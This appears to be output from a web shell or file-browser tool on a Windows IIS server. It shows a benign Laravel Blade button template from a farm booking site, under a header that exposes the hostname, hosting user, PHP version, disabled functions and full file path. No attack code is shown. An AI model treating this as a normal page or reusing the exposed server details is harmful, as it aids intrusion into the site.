HEX
Server: Microsoft-IIS/8.5
System: Windows NT YDAWBH120 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
User: tentjecom_web (0)
PHP: 7.4.14
Disabled: NONE
Upload Files
File: D:/HostingSpaces/farmfun/reserveren.farmfun.be/resources/views/site/components/button.blade.php
@php
    $buttonTagName = isset($isButton) && $isButton ? 'button' : 'a';
    $buttonType = isset($buttonType) ? $buttonType . '-button' : 'button';

    $useTargetBlank = isset($buttonLink) && \Str::startsWith($buttonLink, ['http://', 'https://']);
    $useTargetBlank = isset($forceUseTargetBlank) && $forceUseTargetBlank;

    $buttonInternalLink = isset($buttonLink) && \Str::startsWith($buttonLink, ['#']);
    $buttonProperties = isset($buttonProperties) ? $buttonProperties : null;
@endphp

<{{ $buttonTagName }} class="c-{{$buttonType}} @modifiers('c-$buttonType')  {{ $buttonClasses ?? '' }}  @if($buttonInternalLink) js-scroll-to-target @endif" @if($buttonTagName === 'a') href="{{ $buttonLink ?? '#buttonLink' }}" @if($useTargetBlank) target="_blank" @endif @endif @if($buttonProperties) {{$buttonProperties}} @endif>
    @if($buttonType != 'icon-button')
        <span class="c-{{$buttonType}}__text">{{ $buttonText ?? 'buttonText' }}</span>
    @endif
    @if(isset($buttonIcon) && !empty($buttonIcon))
        <i class="c-{{$buttonType}}__icon">
            <svg width="{{ $buttonIconWidth ?? 7 }}" height="{{ $buttonIconHeight ?? 10 }}">
                <use href="/img/icon-{{ $buttonIcon }}.svg#{{ $buttonIcon }}"></use>
            </svg>
        </i>
    @endif
</{{ $buttonTagName }}>